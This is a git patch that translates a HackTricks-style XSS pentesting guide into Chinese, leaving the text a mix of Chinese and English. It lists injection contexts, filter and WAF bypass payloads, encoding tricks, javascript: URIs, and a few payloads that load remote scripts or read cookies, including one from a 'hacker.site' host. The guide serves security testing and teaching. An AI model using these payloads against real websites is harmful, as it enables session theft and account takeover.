From d6221932e0ee76ec48c0dd75e7eec9f9fde27427 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Thu, 28 Aug 2025 19:23:45 +0000
Subject: [PATCH] Translated ['',
 'src/pentesting-web/xss-cross-site-scripting/js-hoisting

---
 .../xss-cross-site-scripting/README.md        | 548 ++++++++++--------
 .../xss-cross-site-scripting/js-hoisting.md   |  52 +-
 2 files changed, 341 insertions(+), 259 deletions(-)

diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md
index c5601e13b..f78cfae2b 100644
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@@ -1,83 +1,84 @@
-# XSS (跨站脚本攻击)
+# XSS (Cross Site Scripting)
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## 方法论
+## Methodology
 
-1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射** 或 **被 JS 代码使用**。
-2. **找到反射/使用的上下文**。
-3. 如果 **被反射**：
-1. 检查 **你可以使用哪些符号**，并根据此准备有效载荷：
-1. 在 **原始 HTML** 中：
+1. 检查 **任何你可控制的值** (_parameters_, _path_, _headers_?, _cookies_?) 是否被**反射**到 HTML 中或被 **JS** 代码**使用**。
+2. **找出被反射/使用的上下文**。
+3. 如果是 **reflected**
+1. 检查 **你可以使用哪些符号**，并根据这些准备 payload：
+1. 在 **raw HTML** 中：
 1. 你能创建新的 HTML 标签吗？
 2. 你能使用支持 `javascript:` 协议的事件或属性吗？
 3. 你能绕过保护吗？
-4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_、_VueJS_、_Mavo_...) 解释，你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。
-5. 如果你不能创建执行 JS 代码的 HTML 标签，你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/index.html) 吗？
+4. HTML 内容是否被任何客户端 JS 引擎（_AngularJS_, _VueJS_, _Mavo_...）解释，你可以滥用 [**Client Side Template Injection**](../client-side-template-injection-csti.md)。
+5. 如果你不能创建执行 JS 的 HTML 标签，能否滥用 [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)？
 2. 在 **HTML 标签内**：
-1. 你能退出到原始 HTML 上下文吗？
-2. 你能创建新的事件/属性来执行 JS 代码吗？
-3. 你被困的属性是否支持 JS 执行？
+1. 你能退出到 raw HTML 上下文吗？
+2. 你能创建新的事件/属性来执行 JS 吗？
+3. 你被困住的属性是否支持 JS 执行？
 4. 你能绕过保护吗？
-3. 在 **JavaScript 代码中**：
+3. 在 **JavaScript 代码** 内：
 1. 你能逃逸 `<script>` 标签吗？
-2. 你能逃逸字符串并执行不同的 JS 代码吗？
-3. 你的输入是否在模板字面量 \`\` 中？
+2. 你能跳出字符串并执行不同的 JS 代码吗？
+3. 你的输入是否在模板字面量 `````` 中？
 4. 你能绕过保护吗？
-4. Javascript **函数**被 **执行**：
-1. 你可以指明要执行的函数名称。例如：`?callback=alert(1)`
-4. 如果 **被使用**：
-1. 你可以利用 **DOM XSS**，注意你的输入如何被控制，以及你的 **受控输入是否被任何接收器使用**。
+4. 被**执行**的 Javascript **function**
+1. 你可以指示要执行的函数名。例如：`?callback=alert(1)`
+4. 如果是 **used**：
+1. 你可以利用 **DOM XSS**，注意你的输入如何被控制以及你的**受控输入是否被任何 sink 使用**。
+
+在处理复杂的 XSS 时，你可能会对以下内容感兴趣：
 
-在处理复杂的 XSS 时，你可能会发现了解以下内容很有趣：
 
 {{#ref}}
 debugging-client-side-js.md
 {{#endref}}
 
-## 反射值
+## Reflected values
 
-为了成功利用 XSS，首先你需要找到一个 **由你控制的值并在网页中被反射**。
+要成功利用 XSS，首先需要找到一个**由你控制且被反射的值**出现在网页中。
 
-- **中间反射**：如果你发现参数的值甚至路径在网页中被反射，你可以利用 **反射 XSS**。
-- **存储并反射**：如果你发现一个由你控制的值被保存在服务器中，并在每次访问页面时被反射，你可以利用 **存储 XSS**。
-- **通过 JS 访问**：如果你发现一个由你控制的值通过 JS 被访问，你可以利用 **DOM XSS**。
+- **Intermediately reflected**：如果你发现一个参数的值或路径被反射到网页中，你可能可以利用 **Reflected XSS**。
+- **Stored and reflected**：如果你发现一个由你控制的值被保存在服务器上并在每次访问页面时反射出来，你可能可以利用 **Stored XSS**。
+- **Accessed via JS**：如果你发现一个由你控制的值被 JS 访问，你可能可以利用 **DOM XSS**。
 
-## 上下文
+## Contexts
 
-在尝试利用 XSS 时，首先你需要知道 **你的输入在哪里被反射**。根据上下文，你将能够以不同的方式执行任意 JS 代码。
+在尝试利用 XSS 时，首先要知道**你的输入被反射在哪个位置**。根据不同的上下文，你将以不同的方式执行任意 JS 代码。
 
-### 原始 HTML
+### Raw HTML
 
-如果你的输入在 **原始 HTML** 页面中被 **反射**，你需要利用一些 **HTML 标签** 来执行 JS 代码：`<img`、`<iframe`、`<svg`、`<script` ... 这些只是你可以使用的许多可能的 HTML 标签中的一些。\
-此外，请记住 [客户端模板注入](../client-side-template-injection-csti.md)。
+如果你的输入**反射在原始 HTML** 页面中，你需要滥用某些 **HTML 标签** 来执行 JS 代码：`<img , <iframe , <svg , <script` ... 这些只是可以使用的众多 HTML 标签中的一部分。\
+另外，记住 [Client Side Template Injection](../client-side-template-injection-csti.md)。
 
-### 在 HTML 标签属性内
+### Inside HTML tags attribute
 
-如果你的输入在标签的属性值中被反射，你可以尝试：
+如果你的输入被反射在某个标签属性的值中，你可以尝试：
 
-1. **逃逸属性和标签**（然后你将处于原始 HTML 中）并创建新的 HTML 标签进行利用：`"><img [...]`
-2. 如果你 **能逃逸属性但不能逃逸标签**（`>` 被编码或删除），根据标签你可以 **创建一个事件** 来执行 JS 代码：`" autofocus onfocus=alert(1) x="`
-3. 如果你 **无法逃逸属性**（`"` 被编码或删除），那么根据 **你的值被反射在哪个属性中**，**如果你控制整个值或只是部分值**，你将能够利用它。例如，如果你控制一个事件如 `onclick=`，你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`，你可以使用 `javascript:` 协议来执行任意代码：**`href="javascript:alert(1)"`**
-4. 如果你的输入在 "**不可利用的标签**" 内被反射，你可以尝试 **`accesskey`** 技巧来利用这个漏洞（你将需要某种社交工程来利用它）：**`" accesskey="x" onclick="alert(1)" x="**
+1. **逃出属性和标签**（然后你将进入 raw HTML）并创建新的 HTML 标签来滥用：`"><img [...]`
+2. 如果你**能逃出属性但无法逃出标签**（`>` 被编码或删除），根据标签你可以**创建一个事件**来执行 JS 代码：`" autofocus onfocus=alert(1) x="`
+3. 如果你**不能逃出属性**（`"` 被编码或删除），那么取决于**属性是哪种**以及你是控制整个值还是只是部分，你将能以不同方式滥用它。例如，如果你控制一个像 `onclick=` 的事件，你可以让它在被点击时执行任意代码。另一个有趣的例子是属性 `href`，你可以使用 `javascript:` 协议来执行任意代码：**`href="javascript:alert(1)"`**
+4. 如果你的输入被反射在“不可利用的标签”内，你可以尝试使用 **`accesskey`** 技巧来滥用该漏洞（这通常需要某种社会工程来触发）：**`" accesskey="x" onclick="alert(1)" x="`**
 
-如果你控制类名，Angular 执行 XSS 的奇怪例子：
+如果你控制类名，Angular 执行 XSS 的一个奇怪例子：
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
 </div>
 ```
-### Inside JavaScript code
+### 在 JavaScript 代码内部
 
-在这种情况下，您的输入反映在 HTML 页面中的 **`<script> [...] </script>`** 标签之间，或者在 `.js` 文件中，或在使用 **`javascript:`** 协议的属性中：
+在这种情况下，你的输入被反射在 HTML 页面中的 **`<script> [...] </script>`** 标签之间、一个 `.js` 文件内部，或在使用 **`javascript:`** 协议的属性内：
 
-- 如果反映在 **`<script> [...] </script>`** 标签之间，即使您的输入在任何类型的引号内，您可以尝试注入 `</script>` 并从此上下文中逃脱。这是有效的，因为 **浏览器会首先解析 HTML 标签** 然后解析内容，因此，它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
-- 如果反映 **在 JS 字符串内**，并且最后的技巧不起作用，您需要 **退出** 字符串，**执行** 您的代码并 **重构** JS 代码（如果有任何错误，它将不会被执行）：
+- 如果反射在 **`<script> [...] </script>`** 标签之间，即使你的输入位于任何类型的引号内，你也可以尝试注入 `</script>` 并从该上下文中逃出。 这是因为 **浏览器会先解析 HTML 标签** 然后解析内容，因此不会注意到你注入的 `</script>` 标签位于 HTML 代码内部。
+- 如果反射在 **JS 字符串内部** 并且上一个技巧无效，你需要**退出**该字符串、**执行**你的代码并**重建**JS 代码（如果有任何错误，它将不会被执行：
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- 如果反映在模板字面量中，您可以使用 `${ ... }` 语法 **嵌入 JS 表达式**： `` var greetings = `Hello, ${alert(1)}` ``
-- **Unicode 编码** 可用于编写 **有效的 javascript 代码**：
+- 如果反射在 template literals 中，你可以使用 `${ ... }` 语法**嵌入 JS 表达式**： `` var greetings = `Hello, ${alert(1)}` ``
+- **Unicode encode** 可用于编写 **valid javascript code**：
 ```javascript
 alert(1)
 alert(1)
@@ -85,8 +86,8 @@ alert(1)
 ```
 #### Javascript Hoisting
 
-Javascript Hoisting 指的是**在使用后声明函数、变量或类的机会，因此您可以利用使用未声明的变量或函数的 XSS 场景。**\
-**有关更多信息，请查看以下页面：**
+Javascript Hoisting 指的是可以在使用后再声明函数、变量或类的机会，因此你可以在 XSS 使用未声明的变量或函数时进行利用。\
+**查看更多信息请参阅以下页面：**
 
 
 {{#ref}}
@@ -95,19 +96,19 @@ js-hoisting.md
 
 ### Javascript Function
 
-一些网页有端点**接受作为参数的要执行的函数名称**。在实际中常见的例子是类似于：`?callback=callbackFunc`。
+许多网页有一些 endpoints 会**接受作为参数的要执行函数名**。在实际中常见的例子像：`?callback=callbackFunc`。
 
-找出用户直接提供的内容是否试图被执行的一个好方法是**修改参数值**（例如改为 'Vulnerable'），并在控制台中查找错误，例如：
+测试用户直接提供的某些值是否会被执行的好方法是**修改该参数值**（例如改为 'Vulnerable'），并在控制台中查看是否有如下错误：
 
 ![](<../../images/image (711).png>)
 
-如果它是脆弱的，您可能能够**触发一个警报**，只需发送值：**`?callback=alert(1)`**。然而，这些端点通常会**验证内容**，只允许字母、数字、点和下划线（**`[\w\._]`**）。
+如果存在漏洞，你可能能够仅通过发送该值就**触发一个 alert**：**`?callback=alert(1)`**。不过，这类端点通常会**验证内容**，只允许字母、数字、点和下划线（**`[\w\._]`**）。
 
-然而，即使有这个限制，仍然可以执行一些操作。这是因为您可以使用有效字符**访问 DOM 中的任何元素**：
+然而，即使在该限制下仍然可以执行某些操作。这是因为你可以使用这些合法字符来**访问 DOM 中的任意元素**：
 
 ![](<../../images/image (747).png>)
 
-一些有用的函数：
+一些有用的函数包括：
 ```
 firstElementChild
 lastElementChild
@@ -115,11 +116,12 @@ nextElementSibiling
 lastElementSibiling
 parentElement
 ```
-您还可以尝试直接**触发 Javascript 函数**：`obj.sales.delOrders`。
+你也可以尝试直接**触发 Javascript 函数**：`obj.sales.delOrders`。
 
-然而，通常执行指定函数的端点是没有太多有趣 DOM 的端点，**同一源中的其他页面**将具有**更有趣的 DOM**以执行更多操作。
+但是，通常执行该函数的端点并没有太多有趣的 DOM，来自同源的其他页面会有更有趣的 DOM 来执行更多操作。
+
+因此，为了在不同的 DOM 中**滥用该漏洞**，开发了 **Same Origin Method Execution (SOME)** 利用方法：
 
-因此，为了**在不同 DOM 中滥用此漏洞**，开发了**同源方法执行 (SOME)** 利用：
 
 {{#ref}}
 some-same-origin-method-execution.md
@@ -127,36 +129,39 @@ some-same-origin-method-execution.md
 
 ### DOM
 
-有**JS 代码**不安全地使用一些**由攻击者控制的数据**，如 `location.href`。攻击者可以利用这一点执行任意 JS 代码。
+存在使用**不安全**的**JS code**来利用某些**由攻击者控制的数据**（例如 `location.href`）。攻击者可以滥用此来执行任意 JS 代码。
+
 
 {{#ref}}
 dom-xss.md
 {{#endref}}
 
-### **通用 XSS**
+### **Universal XSS**
 
-这种类型的 XSS 可以在**任何地方**找到。它们不仅依赖于对 Web 应用程序的客户端利用，还依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取****任意****文件**在客户端和服务器上，等等。\
+这种类型的 XSS 可以出现在**任何地方**。它们不仅依赖于对 web 应用的客户端利用，而是依赖于**任何****上下文**。此类**任意 JavaScript 执行**甚至可以被滥用以获取 **RCE**、在客户端和服务器上**读取任意文件**，等等。  
 一些**示例**：
 
+
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
+
 {{#ref}}
 ../../network-services-pentesting/pentesting-web/electron-desktop-apps/
 {{#endref}}
 
-## WAF 绕过编码图像
+## WAF bypass encoding image
 
-![来自 https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
+![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
 
-## 在原始 HTML 中注入
+## Injecting inside raw HTML
 
-当您的输入在**HTML 页面中被反射**或您可以在此上下文中转义并注入 HTML 代码时，您需要做的**第一**件事是检查您是否可以滥用 `<` 来创建新标签：只需尝试**反射**该**字符**并检查它是否被**HTML 编码**或**删除**，或者是否**未更改地反射**。**只有在最后一种情况下，您才能利用此情况**。\
-对于这些情况，还**请记住** [**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
-_**注意：HTML 注释可以使用\*\***\***\*`-->`\*\***\***\*或\*\***`--!>`\*\**关闭_
+当你的输入被反映在 HTML 页面内，或你可以在该上下文中转义并注入 HTML 代码时，首先要做的是检查是否可以滥用 `<` 来创建新标签：尝试使该字符被**反射**，并检查它是否被**HTML 编码**、**删除**，还是**原样反射**。只有在最后一种情况下你才能利用该问题。  
+对于这类情况，也请记住 [**Client Side Template Injection**](../client-side-template-injection-csti.md)。  
+_**注意：HTML 注释可以使用 `-->` 或 `--!>` 关闭**_
 
-在这种情况下，如果没有使用黑名单/白名单，您可以使用如下有效负载：
+在这种情况下，如果没有使用黑/白名单过滤，你可以使用类似的 payloads：
 ```html
 <script>
 alert(1)
@@ -164,22 +169,22 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-但是，如果使用了标签/属性的黑白名单，您需要**暴力破解可以创建的标签**。\
-一旦您**找到了允许的标签**，您需要**暴力破解有效标签内的属性/事件**，以查看如何攻击该上下文。
+但是，如果使用 tags/attributes 黑/白名单过滤，你需要 **brute-force which tags** 来创建。\
+一旦你 **located which tags are allowed**，你需要在找到的有效 tags 中 **brute-force attributes/events**，以确定如何针对特定上下文进行攻击。
 
-### 标签/事件暴力破解
+### Tags/Events brute-force
 
-访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)，然后点击 _**复制标签到剪贴板**_。接着，使用 Burp intruder 发送所有标签，并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签，您可以使用有效标签**暴力破解所有事件**（在同一网页上点击 _**复制事件到剪贴板**_，并按照之前的程序进行）。
+Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before).
 
-### 自定义标签
+### Custom tags
 
-如果您没有找到任何有效的 HTML 标签，您可以尝试**创建一个自定义标签**并使用 `onfocus` 属性执行 JS 代码。在 XSS 请求中，您需要以 `#` 结束 URL，以使页面**聚焦于该对象**并**执行**代码：
+如果没有找到任何有效的 HTML tag，你可以尝试 **create a custom tag** 并使用 `onfocus` 属性执行 JS 代码。在 XSS 请求中，需要在 URL 末尾添加 `#`，以使页面 **focus on that object** 并 **execute** 代码：
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
-### 黑名单绕过
+### Blacklist Bypasses
 
-如果正在使用某种黑名单，您可以尝试通过一些简单的技巧来绕过它：
+如果正在使用某种 blacklist，你可以尝试用一些简单的技巧来 bypass 它：
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@@ -229,31 +234,31 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### 长度绕过（小型 XSS）
+### Length bypass (small XSSs)
 
-> [!NOTE] > **更多适用于不同环境的小型 XSS** payload [**可以在这里找到**](https://github.com/terjanq/Tiny-XSS-Payloads) 和 [**这里**](https://tinyxss.terjanq.me)。
+> [!NOTE] > **更多适用于不同环境的 tiny XSS** payload [**可在此处找到**](https://github.com/terjanq/Tiny-XSS-Payloads) 和 [**此处**](https://tinyxss.terjanq.me).
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-最后一个使用了两个 Unicode 字符，扩展为五个：telsr\
-更多这些字符可以在 [这里](https://www.unicode.org/charts/normalization/) 找到。\
-要检查哪些字符被分解，请查看 [这里](https://www.compart.com/en/unicode/U+2121)。
+最后一个使用了2个 Unicode 字符，会扩展为5个：telsr\  
+更多这样的字符可以在 [here](https://www.unicode.org/charts/normalization) 找到。\
+要检查哪些字符被分解，请查看 [here](https://www.compart.com/en/unicode/U+2121)。
 
 ### Click XSS - Clickjacking
 
-如果为了利用该漏洞，你需要 **用户点击一个链接或一个带有预填充数据的表单**，你可以尝试 [**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)（如果页面存在漏洞）。
+如果为了利用该漏洞你需要**用户点击带有预填数据的链接或表单**，可以尝试[**abuse Clickjacking**](../clickjacking.md#xss-clickjacking)（如果页面存在漏洞）。
 
-### 不可能 - 悬挂标记
+### Impossible - Dangling Markup
 
-如果你认为 **创建一个带有属性以执行 JS 代码的 HTML 标签是不可能的**，你应该查看 [**悬挂标记**](../dangling-markup-html-scriptless-injection/index.html)，因为你可以 **在不执行** **JS** 代码的情况下 **利用** 该漏洞。
+如果你只是认为**无法创建带有属性以执行 JS 代码的 HTML 标签**，你应该查看[**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)because 你可以**exploit**该漏洞**而无需**执行**JS**代码。
 
-## 在 HTML 标签内注入
+## Injecting inside HTML tag
 
-### 在标签内/从属性值中转义
+### Inside the tag/escaping from attribute value
 
-如果你在 **HTML 标签内**，你可以尝试的第一件事是 **从标签中转义**，并使用 [上一节](#injecting-inside-raw-html) 中提到的一些技术来执行 JS 代码。\
-如果你 **无法从标签中转义**，你可以在标签内创建新的属性以尝试执行 JS 代码，例如使用一些有效载荷（_注意在这个例子中使用双引号从属性中转义，如果你的输入直接反映在标签内，你将不需要它们_）：
+如果你处于**HTML tag 内部**，首先可以尝试**从标签中逃逸**，并使用[上一节](#injecting-inside-raw-html)提到的一些技术来执行 JS 代码。\
+如果你**无法从标签中逃逸**，你可以在标签内部创建新的属性来尝试执行 JS 代码，例如使用类似的 payload（_注意在此示例中使用双引号来从属性中转义，如果你的输入直接反映在标签内则不需要它们_）：
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@@ -268,16 +273,16 @@ onerror=alert`1`
 #moving your mouse anywhere over the page (0-click-ish):
 <div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
 ```
-### Within the attribute
+### 在属性内部
 
-即使你**无法从属性中逃脱**（`"`被编码或删除），根据**你的值反射在哪个属性中**，**如果你控制所有值或只是部分值**，你将能够利用它。**例如**，如果你控制一个事件，如`onclick=`，你将能够使其在点击时执行任意代码。\
-另一个有趣的**例子**是属性`href`，你可以使用`javascript:`协议来执行任意代码：**`href="javascript:alert(1)"`**
+即使你 **无法从属性中转义**（`"` 被编码或删除），取决于你的值被反射到 **哪个属性** 上，以及你是控制整个值还是只控制一部分，你仍然可以利用它。**例如**，如果你控制像 `onclick=` 这样的事件，你就可以在被点击时执行任意代码。\
+另一个有趣的**例子**是属性 `href`，你可以使用 `javascript:` 协议来执行任意代码：**`href="javascript:alert(1)"`**
 
-**通过HTML编码/URL编码绕过事件**
+**在事件内绕过（使用 HTML 编码/URL encode）**
 
-HTML标签属性值中的**HTML编码字符**在运行时会被**解码**。因此，像以下内容将是有效的（有效负载用粗体表示）：`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
+HTML 标签属性值中的 **HTML 编码字符** 会在 **运行时被解码**。因此类似下面的内容是有效的（payload 用粗体表示）： `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 
-请注意**任何类型的HTML编码都是有效的**：
+注意 **任何形式的 HTML 编码 都有效**：
 ```javascript
 //HTML entities
 &apos;-alert(1)-&apos;
@@ -294,19 +299,19 @@ HTML标签属性值中的**HTML编码字符**在运行时会被**解码**。因
 <a href="&#106;avascript:alert(2)">a</a>
 <a href="jav&#x61script:alert(3)">a</a>
 ```
-**注意，URL 编码也会有效：**
+**注意 URL encode 也可行:**
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
-**通过使用Unicode编码绕过内部事件**
+**Bypass 在事件内部使用 Unicode encode**
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
 <img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
 ```
-### 特殊协议在属性中
+### 属性内的特殊协议
 
-在某些地方，您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些将需要用户交互，有些则不需要。
+你可以在属性的某些位置使用协议 **`javascript:`** 或 **`data:`** 来 **execute arbitrary JS code**。有些需要用户交互，有些则不需要。
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -328,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **可以注入这些协议的地方**
 
-**一般来说** `javascript:` 协议可以 **用于任何接受 `href` 属性的标签**，并且在 **大多数** 接受 **`src` 属性的标签中**（但不包括 `<img>`）
+**一般来说** `javascript:` 协议可以 **用于接受属性 `href` 的任何标签**，并在 **大多数** 接受 **属性 `src`** 的标签中使用（但不包括 `<img>`）
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -348,23 +353,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 <embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
 <iframe srcdoc="<svg onload=alert(4);>">
 ```
-**其他混淆技巧**
+**Other obfuscation tricks**
 
-_**在这种情况下，上一节中的HTML编码和Unicode编码技巧在属性内也是有效的。**_
+_**在这种情况下，由于你在属性内，上一节的 HTML encoding 和 Unicode encoding 技巧也同样有效。**_
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-此外，对于这些情况还有另一个**不错的技巧**：**即使你在 `javascript:...` 中的输入被 URL 编码，它在执行之前会被 URL 解码。** 所以，如果你需要使用**单引号**从**字符串**中**逃逸**，并且你看到**它被 URL 编码**，请记住**这没关系，**它将在**执行**时被**解释**为**单引号**。
+此外，对于这些情况还有另一个 **好技巧**：**即便你在 `javascript:...` 中的输入被 URL 编码，它在执行前也会被 URL 解码。** 因此，如果你需要 **转义** 出 **字符串** 并使用 **单引号**，当你看到 **它被 URL 编码了** 时，请记住 **这不重要，** 它会在 **执行** 时 **被解释为** 一个 **单引号**。
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-注意，如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**，它 **将** **不起作用**，但你可以在 **payload** 中 **混合使用它们**。
+注意，如果你尝试以任意顺序**同时使用** `URLencode + HTMLencode` 来对 **payload** 进行编码，它**不会** **生效**，但你可以**在 payload 内混合使用它们**。
 
-**使用 Hex 和 Octal 编码与 `javascript:`**
+**在 `javascript:` 中使用 Hex 和 Octal encode**
 
-你可以在 `iframe` 的 `src` 属性中（至少）使用 **Hex** 和 **Octal encode** 来声明 **HTML 标签以执行 JS**：
+你可以在 `iframe` 的 `src` 属性（至少）中使用 **Hex** 和 **Octal encode** 来声明 **HTML tags to execute JS**:
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@@ -376,21 +381,21 @@ _**在这种情况下，上一节中的HTML编码和Unicode编码技巧在属性
 <svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
 <svg onload=javascript:'\141\154\145\162\164\50\61\51' />
 ```
-### 反向标签窃取
+### Reverse tab nabbing
 ```javascript
 <a target="_blank" rel="opener"
 ```
-如果您可以在任意 **`<a href=`** 标签中注入任何 URL，并且该标签包含 **`target="_blank" 和 rel="opener"`** 属性，请查看 **以下页面以利用此行为**：
+如果你能够在任意 **`<a href=`** 标签中注入任意 URL，且该标签包含 **`target="_blank" and rel="opener"`** 属性，请查看 **下面的页面以利用此行为**：
 
 
 {{#ref}}
 ../reverse-tab-nabbing.md
 {{#endref}}
 
-### 事件处理程序绕过
+### on Event Handlers Bypass
 
-首先查看此页面 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) 以获取有用的 **"on" 事件处理程序**。\
-如果有某些黑名单阻止您创建这些事件处理程序，您可以尝试以下绕过：
+首先查看此页面（https://portswigger.net/web-security/cross-site-scripting/cheat-sheet）以获取有用的 **"on" event handlers**。\
+如果存在某些黑名单阻止你创建这些 event handlers，你可以尝试以下绕过方法：
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
@@ -405,14 +410,14 @@ Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
-### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
+### XSS 在 "Unexploitable tags" (hidden input, link, canonical, meta)
 
-从 [**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以利用隐藏输入：**
+From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以通过以下方式滥用 hidden inputs：**
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
 ```
-在**meta标签**中：
+并在 **meta 标签**：
 ```html
 <!-- Injection inside meta attribute-->
 <meta
@@ -426,76 +431,91 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields)：您可以在隐藏属性中执行**XSS有效负载**，前提是您可以**说服****受害者**按下**键组合**。在Firefox Windows/Linux上，键组合是**ALT+SHIFT+X**，在OS X上是**CTRL+ALT+X**。您可以使用访问键属性中的不同键指定不同的键组合。以下是向量：
+来自 [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): 你可以在 **hidden 属性内 执行 XSS payload**，前提是你能 **说服** **victim** 去按下 **按键组合**。在 Firefox Windows/Linux 上按键组合是 **ALT+SHIFT+X**，在 OS X 上是 **CTRL+ALT+X**。你可以在 access key attribute 中使用不同的键来指定不同的按键组合。攻击向量如下：
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
-**XSS有效载荷将类似于：`" accesskey="x" onclick="alert(1)" x="`**
+**XSS payload 将会像这样： `" accesskey="x" onclick="alert(1)" x="`**
 
 ### 黑名单绕过
 
-本节中已经揭示了使用不同编码的几种技巧。请**返回学习您可以使用的内容：**
+本节已经展示了若干使用不同编码的技巧。回去**学习这些编码可以在哪使用：**
 
-- **HTML编码（HTML标签）**
-- **Unicode编码（可以是有效的JS代码）：** `\u0061lert(1)`
-- **URL编码**
-- **十六进制和八进制编码**
-- **数据编码**
+- **HTML encoding (HTML tags)**
+- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
+- **URL encoding**
+- **Hex and Octal encoding**
+- **data encoding**
 
-**HTML标签和属性的绕过**
+**Bypasses for HTML tags and attributes**
 
-阅读[上一节的黑名单绕过](#blacklist-bypasses)。
+请阅读[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
 
-**JavaScript代码的绕过**
+**Bypasses for JavaScript code**
 
-阅读[下一节的JavaScript绕过黑名单](#javascript-bypass-blacklists-techniques)。
+请阅读 J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
 
-### CSS小工具
+### CSS-Gadgets
 
-如果您在网络的**非常小的部分**发现了**XSS**，并且需要某种交互（可能是页脚中的一个小链接，带有onmouseover元素），您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
+如果你在网页的**很小一部分发现 XSS**且需要某种交互（比如页脚的一个带 onmouseover 的小链接），你可以尝试**修改该元素占据的空间**以最大化触发该链接的概率。
 
